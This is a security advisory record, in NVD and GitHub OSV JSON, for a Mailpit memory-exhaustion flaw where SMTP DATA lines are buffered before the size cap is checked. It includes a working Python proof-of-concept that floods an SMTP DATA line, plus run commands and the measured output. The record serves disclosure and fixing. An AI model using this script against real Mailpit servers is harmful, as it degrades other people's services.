{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mailpit",
          "vendor": "axllent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.30.0, \u003c 1.30.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit\u0027s internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5."
    },
    {
      "lang": "es",
      "value": "Mailpit es una herramienta de prueba de correo electr\u00f3nico y API para desarrolladores. Desde la versi\u00f3n 1.30.0 hasta la 1.30.5, la funci\u00f3n readData() de internal/smtpd/smtpd.go de Mailpit llama a bufio.Reader.ReadBytes antes de aplicar la verificaci\u00f3n de tama\u00f1o len(data)+len(line) a la l\u00ednea SMTP DATA completada contra Server.MaxSize. Un cliente SMTP no autenticado puede enviar una sola l\u00ednea m\u00e1s grande que el MaxMessageSize configurado, lo que provoca que la l\u00ednea completa se asigne antes de que Mailpit devuelva el rechazo 552 5.3.4. Esta brecha posterior a la correcci\u00f3n permanece despu\u00e9s de que la acumulaci\u00f3n normal de DATA de varias l\u00edneas fuera limitada, y las l\u00edneas sobredimensionadas concurrentes pueden crear una presi\u00f3n de memoria sustancial m\u00e1s all\u00e1 del l\u00edmite de tama\u00f1o de mensaje configurado. Este problema est\u00e1 solucionado en la versi\u00f3n 1.30.5."
    }
  ],
  "id": "CVE-2026-67447",
  "lastModified": "2026-10-18T20:10:00.110",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-67447",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-21T16:18:52.447416Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-20T22:17:56.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axllent/mailpit/commit/8720c6bd8281fc00d458081908f1dbef8e59a98c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-r553-m4fv-5v97"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-r553-m4fv-5v97"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.30.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T21:34:52Z",
    "nvd_published_at": "2026-08-20T22:17:56Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMailpit\u0027s SMTP DATA reader enforces the configured `MaxMessageSize` only after `bufio.Reader.ReadBytes(\u0027\\n\u0027)` has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected `552 5.3.4` rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.\n\n## Technical Details\n\nMailpit enables SMTP by default. The SMTP server now wires `config.MaxMessageSize` into `srv.MaxSize`:\n\n```go\nif config.MaxMessageSize \u003e 0 {\n    srv.MaxSize = config.MaxMessageSize * 1024 * 1024\n}\n```\n\nThe DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:\n\n```go\nline, err := s.br.ReadBytes(\u0027\\n\u0027)\nif err != nil {\n    return nil, err\n}\n\nif bytes.Equal(line, []byte(\".\\r\\n\")) {\n    break\n}\nif line[0] == \u0027.\u0027 {\n    line = line[1:]\n}\n\nif s.srv.MaxSize \u003e 0 {\n    if len(data)+len(line) \u003e s.srv.MaxSize {\n        _, _ = s.br.Discard(s.br.Buffered())\n        return nil, maxSizeExceeded(s.srv.MaxSize)\n    }\n}\n```\n\nThis ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and `ReadBytes(\u0027\\n\u0027)` has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns `552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)`.\n\nThis is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: `srv.MaxSize` is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.\n\n## PoV\n\nThe following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:\n\n```python\n#!/usr/bin/env python3\nimport os, socket, subprocess, threading, time\nfrom pathlib import Path\n\ndef free_port():\n    s = socket.socket()\n    s.bind((\"127.0.0.1\", 0))\n    p = s.getsockname()[1]\n    s.close()\n    return p\n\ndef rss_kib(pid):\n    return int(subprocess.check_output([\"ps\", \"-o\", \"rss=\", \"-p\", str(pid)], text=True).strip())\n\ndef recv_line(sock):\n    data = b\"\"\n    while not data.endswith(b\"\\n\"):\n        chunk = sock.recv(1)\n        if not chunk:\n            break\n        data += chunk\n    return data.decode(\"latin-1\", \"replace\").strip()\n\ndef send_cmd(sock, cmd):\n    sock.sendall(cmd)\n    return recv_line(sock)\n\ndef wait_for_smtp(port):\n    deadline = time.time() + 8\n    while time.time() \u003c deadline:\n        try:\n            with socket.create_connection((\"127.0.0.1\", port), timeout=0.5) as sock:\n                recv_line(sock)\n                return\n        except OSError:\n            time.sleep(0.1)\n    raise RuntimeError(\"SMTP server did not become ready\")\n\ndef send_data_line(port, pid, label, payload_bytes, finish_message):\n    stop = threading.Event()\n    peak = {\"rss\": rss_kib(pid)}\n    def monitor():\n        while not stop.is_set():\n            peak[\"rss\"] = max(peak[\"rss\"], rss_kib(pid))\n            time.sleep(0.03)\n    t = threading.Thread(target=monitor, daemon=True)\n    t.start()\n    sock = socket.create_connection((\"127.0.0.1\", port), timeout=20)\n    try:\n        recv_line(sock)\n        send_cmd(sock, b\"HELO pov.example\\r\\n\")\n        send_cmd(sock, b\"MAIL FROM:\u003csender@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"RCPT TO:\u003crecipient@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"DATA\\r\\n\")\n        sock.sendall(f\"Subject: {label}\\r\\n\\r\\n\".encode())\n        chunk = b\"A\" * min(1024 * 1024, payload_bytes)\n        remaining = payload_bytes\n        while remaining:\n            n = min(len(chunk), remaining)\n            sock.sendall(chunk[:n])\n            remaining -= n\n        sock.sendall(b\"\\r\\n.\\r\\n\" if finish_message else b\"\\r\\n\")\n        response = recv_line(sock)\n    finally:\n        stop.set()\n        t.join(timeout=1)\n        sock.close()\n    after = rss_kib(pid)\n    return response, max(peak[\"rss\"], after), after\n\nmailpit = \"./mailpit\"\nworkdir = Path(\"./pov-work\")\nworkdir.mkdir(exist_ok=True)\nhttp_port, smtp_port = free_port(), free_port()\nproc = subprocess.Popen([mailpit, \"--disable-version-check\", \"--database\", str(workdir / \"mailpit.db\"), \"--listen\", f\"127.0.0.1:{http_port}\", \"--smtp\", f\"127.0.0.1:{smtp_port}\", \"--max-message-size\", \"50\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())\ntry:\n    wait_for_smtp(smtp_port)\n    time.sleep(0.25)\n    max_message_size_mib = 50\n    control_payload = 1024\n    oversized_payload = 64 * 1024 * 1024\n    baseline = rss_kib(proc.pid)\n    control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, \"negative-control\", control_payload, True)\n    oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, \"oversized-single-line\", oversized_payload, False)\n    print(f\"max_message_size_mib={max_message_size_mib}\")\n    print(f\"baseline_rss_kib={baseline}\")\n    print(f\"control_payload_bytes={control_payload}\")\n    print(f\"control_response={control_resp}\")\n    print(f\"control_peak_delta_kib={control_peak - baseline}\")\n    print(f\"after_control_rss_kib={after_control}\")\n    print(f\"oversized_single_data_line_bytes={oversized_payload}\")\n    print(f\"oversized_response={oversized_resp}\")\n    print(f\"oversized_peak_delta_kib={oversized_peak - after_control}\")\n    print(f\"after_oversized_rss_kib={after_oversized}\")\nfinally:\n    proc.terminate()\n    try:\n        proc.wait(timeout=5)\n    except subprocess.TimeoutExpired:\n        proc.kill()\n```\n\n## PoC\n\nFor the official Darwin ARM64 `v1.30.3` release binary used for this proof, start in a clean parent directory and create the PoC directory:\n\n```fish\nmkdir mailpit-v1.30.3-pov\ncd mailpit-v1.30.3-pov\n```\n\nFrom inside that directory, save the script above as `smtp_data_line_size_pov.py`, then run:\n\n```fish\ncurl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz\ntar -xzf mailpit-darwin-arm64.tar.gz\nchmod +x ./mailpit\n./mailpit version\npython3 ./smtp_data_line_size_pov.py\n```\n\nThe official Darwin ARM64 `v1.30.3` release binary reported:\n\n```text\nmailpit v1.30.3 compiled with go1.26.4 on darwin/arm64\n```\n\nThe bounded PoC output was:\n\n```text\nmax_message_size_mib=50\nbaseline_rss_kib=25008\ncontrol_payload_bytes=1024\ncontrol_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X\ncontrol_peak_delta_kib=2656\nafter_control_rss_kib=27680\noversized_single_data_line_bytes=67108864\noversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)\noversized_peak_delta_kib=132928\nafter_oversized_rss_kib=160608\n```\n\nThe control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.\n\n## Impact\n\nAn unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured `MaxMessageSize` before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.\n\nExploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. `AV:N` describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.\n\nThe PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (`A:L`), producing a CVSS 3.1 score of 5.3 (Medium).\n\n## Suggested Fix\n\nBound SMTP DATA line reads before buffering the full line. Replace unbounded `ReadBytes(\u0027\\n\u0027)` with a reader that stops once `len(data)+currentLineBytes` would exceed `srv.MaxSize`, returns the existing `552 5.3.4` error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.\n\nRegression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns `552 5.3.4` without reading the whole line into a returned buffer or causing material RSS growth.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- `v1.30.0`, commit `af8756a32cf7ecf06bef109c1348b783f1a239ee`, source has the post-fix `srv.MaxSize` wiring and the same `ReadBytes(\u0027\\n\u0027)` before size enforcement.\n- `v1.30.3`, commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, reproduces with the official Darwin ARM64 binary shown above.\n- Latest release `v1.30.4`, commit `3b41030dbef4574ec92b815cb464fec7b4cfdc15`, published 2026-07-09, is source-confirmed with the same vulnerable ordering.\n- Current `develop`, commit `6a09f28d5489a85245cc8ddbf512047495627147`, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.\n\nNo fixed version was identified during this review.\n\nA focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current `develop`: `internal/smtpd/main.go` wires `MaxMessageSize` into `srv.MaxSize`, while `internal/smtpd/smtpd.go` still reads a full DATA line before enforcing that cap.\n\n```text\ndevelop_head=6a09f28d5489a85245cc8ddbf512047495627147\nv1.30.4_commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15\nv1.30.0_commit=af8756a32cf7ecf06bef109c1348b783f1a239ee\n\nv1.30.0:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.0:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.0:internal/smtpd/smtpd.go:855:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\nv1.30.0:internal/smtpd/smtpd.go:869:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.0:internal/smtpd/smtpd.go:870:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.0:internal/smtpd/smtpd.go:872:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\nv1.30.4:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.4:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.4:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\nv1.30.4:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.4:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.4:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\ndevelop:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\ndevelop:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\ndevelop:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\ndevelop:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\ndevelop:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\ndevelop:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n```\n\n## Advisory History\n\nThe closest public advisory is `GHSA-fpxj-m5q8-fphw`, \"Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes.\" That advisory covered older versions where `Server.MaxSize` was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: `MaxSize` is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.\n\nOther published Mailpit advisories checked include `GHSA-28pq-6qxg-wg5r` for sibling HTTP JSON body limits, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, the SSRF/link-check/proxy/html-check family, and `GHSA-524m-q5m7-79mm` for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.\n\n`GHSA-w878-pj84-3j5v` and `GHSA-75mr-qw9x-3r39` were published on 2026-07-09 and included in the `v1.30.4` security release. `GHSA-w878-pj84-3j5v` caps SMTP command lines before `DATA` and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: `v1.30.4` still calls `ReadBytes(\u0027\\n\u0027)` in `readData()` before comparing the complete line against `MaxSize`. `GHSA-75mr-qw9x-3r39` bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.\n\nThe separate POP3 command-line draft was rejected and removed after `GHSA-w878-pj84-3j5v` and the `v1.30.4` release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP `readData()` after `DATA`, remains present in `v1.30.4`, and requires a remaining-message or DATA-line bound rather than a command-reader cap.\n\nPublic issue searches for `SMTP DATA line size` and `ReadBytes DATA MaxSize` returned no matching issues. Public commit search for `MaxSize ReadBytes` returned no matching fix.",
  "id": "GHSA-r553-m4fv-5v97",
  "modified": "2026-09-02T23:40:36Z",
  "published": "2026-08-20T21:34:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-r553-m4fv-5v97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/commit/8720c6bd8281fc00d458081908f1dbef8e59a98c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement"
}